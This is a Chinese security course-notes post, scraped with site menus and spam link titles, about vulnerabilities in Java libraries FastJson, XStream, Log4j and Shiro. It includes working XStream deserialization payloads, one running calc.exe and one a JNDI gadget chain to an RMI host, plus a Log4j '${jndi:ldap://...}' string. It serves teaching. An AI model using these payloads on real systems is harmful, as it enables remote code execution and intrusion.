当前位置: 首页 > news >正文

建站都需要什么怎么做文学动漫网站

建站都需要什么,怎么做文学动漫网站,百度app下载并安装最新版,网站外链优化方法知识点: 1、安全开发-JavaEE-第三方依赖开发安全 2、安全开发-JavaEE-数据转换&FastJson&XStream 3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理 一、演示案例-WEB开发-JavaEE-第三方依赖&FastJson&XStream FastJson 一个阿里巴巴开发的J…

知识点:
1、安全开发-JavaEE-第三方依赖开发安全
2、安全开发-JavaEE-数据转换&FastJson&XStream
3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理

一、演示案例-WEB开发-JavaEE-第三方依赖&FastJson&XStream

FastJson

一个阿里巴巴开发的Java库,提供了Java对象与JSON相互转换。
在这里插入图片描述

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.25</version>
</dependency>

1、序列化方法

JSON.toJSONString(),对象转换为JSON字符串;
JSON.toJSONBytes(),对象转换为byte数组;

2、反序列化方法

JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString()

3、常用

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

演示:1.2.24及1.2.25版本
结论:反序列化时会调用类里的get及set方法
利用:已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递JSON数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

在这里插入图片描述

XStream

一个简单的基于Java库,将Java对象序列化为XML,反之亦然(即:可以轻易的将Java对象和XML相互转换)。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.5</version>
</dependency><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.15</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

序列化Car类

Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);

在这里插入图片描述

反序列化Car类

String xml = "上述序列化类的数据";
XStream xStream = new XStream();
xStream.fromXML(xml);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

已知类的调用方法

String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +" <com.example.xstreamdemo.Car>\n" +" <default>\n" +" <price>4000000</price>\n" +" <name>Ferrari</name>\n" +" </default>\n" +" </com.example.xstreamdemo.Car>\n" +"</com.example.xstreamdemo.Car>";

自带类的调用链固定版本的CVE

String payload = "<sorted-set>\n" +" <dynamic-proxy>\n" +" <interface>java.lang.Comparable</interface>\n" +" <handler class=\"java.beans.EventHandler\">\n" +" <target class=\"java.lang.ProcessBuilder\">\n" +" <command>\n" +" <string>calc.exe</string>\n" +" </command>\n" +" </target>\n" +" <action>start</action>\n" +" </handler>\n" +" </dynamic-proxy>\n" +"</sorted-set>";

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

String poc="<java.util.PriorityQueue serialization='custom'>\n" +" <unserializable-parents/>\n" +" <java.util.PriorityQueue>\n" +" <default>\n" +" <size>2</size>\n" +" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +" <packet>\n" +" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +" <uriProperties/>\n" +" <attributeProperties/>\n" +" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +" <getter>\n" +" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +" <name>getDatabaseMetaData</name>\n" +" <parameter-types/>\n" +" </getter>\n" +" </inheritedAttWildcard>\n" +" </bi>\n" +" <tagName/>\n" +" <context>\n" +" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +" <outer-class reference='../..'/>\n" +" </marshallerPool>\n" +" <nameList>\n" +" <nsUriCannotBeDefaulted>\n" +" <boolean>true</boolean>\n" +" </nsUriCannotBeDefaulted>\n" +" <namespaceURIs>\n" +" <string>1</string>\n" +" </namespaceURIs>\n" +" <localNames>\n" +" <string>UTF-8</string>\n" +" </localNames>\n" +" </nameList>\n" +" </context>\n" +" </bridge>\n" +" </bridge>\n" +" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +" <javax.sql.rowset.BaseRowSet>\n" +" <default>\n" +" <concurrency>1008</concurrency>\n" +" <escapeProcessing>true</escapeProcessing>\n" +" <fetchDir>1000</fetchDir>\n" +" <fetchSize>0</fetchSize>\n" +" <isolation>2</isolation>\n" +" <maxFieldSize>0</maxFieldSize>\n" +" <maxRows>0</maxRows>\n" +" <queryTimeout>0</queryTimeout>\n" +" <readOnly>true</readOnly>\n" +" <rowSetType>1004</rowSetType>\n" +" <showDeleted>false</showDeleted>\n" +" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" +" <params/>\n" +" </default>\n" +" </javax.sql.rowset.BaseRowSet>\n" +" <com.sun.rowset.JdbcRowSetImpl>\n" +" <default>\n" +" <iMatchColumns>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" </iMatchColumns>\n" +" <strMatchColumns>\n" +" <string>foo</string>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" </strMatchColumns>\n" +" </default>\n" +" </com.sun.rowset.JdbcRowSetImpl>\n" +" </jaxbObject>\n" +" </dataSource>\n" +" </message>\n" +" <satellites/>\n" +" <invocationProperties/>\n" +" </packet>\n" +" </indexMap>\n" +" </comparator>\n" +" </default>\n" +" <int>3</int>\n" +" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +" </java.util.PriorityQueue>\n" +"</java.util.PriorityQueue>";

在这里插入图片描述
在这里插入图片描述

结论:反序列化时会调用类里的readObject方法(类需继承序列化接口)
利用:已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递XML数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

二、演示案例-WEB开发-JavaEE-第三方依赖&Shrio验证&Log4j日志

Log4j

一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
在这里插入图片描述

1、Maven引用

<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>

在这里插入图片描述
在这里插入图片描述

2、接受输入值

3、Log4j错误处理

4、Jndi注入RCE执行

在这里插入图片描述

String code="${java:os}";
logger.error("{}",code);

在这里插入图片描述

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
logger.error("{}",exp);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

演示:2.14.1版本
结论:尝试输出日志时可利用JNDI注入触发RCE
利用:黑盒在各种地方插入 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA

Shiro

一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

开发技术:利用AI提示写一个
结论:配置不当(未授权)或版本安全漏洞
利用:固定版本的CVE利用
黑盒看身份验证数据包 白盒看版本及对应安全问题
参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag
http://www.dtcms.com/a/413614.html

相关文章:

  • 如何在电脑里做网站宁晋网站建设
  • 做国外网站有哪些临沂外贸网站建设
  • 爱做的小说网站吗wordpress编辑模板
  • 基于android的app开发用什么软件英文网站seo发展前景
  • 湖北做网站平台哪家好s9视频直播
  • 用flash做的网站平面设计好的网站
  • 域名备案企业网站内容一个公司完整的组织架构
  • 建设网站呼叫中心有什么好处郑州机械网站制作
  • 整站seo网络科技有限公司简介范文
  • 平阳县建设局网站太原seo网站建设
  • 贵州省水利建设管理总站网站深圳网站建设分期付
  • 在哪个网站可以做二建的题网站开发合同 下载
  • 廊坊seo网站排名python自学免费教程
  • 网站访问慢 分析工具做网络技术方案叫什么
  • 网站动态背景怎么做什么是网盟推广
  • 红鱼洞水库建设管理局网站收益网站制作
  • 长沙网站推广系统十一冶建设集团有限责任公司网站
  • 做化妆品注册和注册的网站吗济南高新区网站建设公司
  • 在线制作图片网站旅社网站怎么建立
  • 时代创信网站建设购买国外服务器
  • 学做网站要代码做公益网站
  • 做 理财网站有哪些问题手机网站建设专家
  • 开发一个网站临安市规划建设局网站
  • 那些网站是做俄罗斯鞋子深圳网站建设 宝华大厦
  • 网站建设搭建长沙百度关键词优化
  • 中山网站建设包括哪些梅州市住房和城乡建设局官方网站
  • 正规网站建设公司在哪里3d建模是什么专业
  • 自己创网站美发营销型网站
  • 做外贸网站建设电商网站建设计入什么科目
  • jeecms做企业网站如何快速做h5网站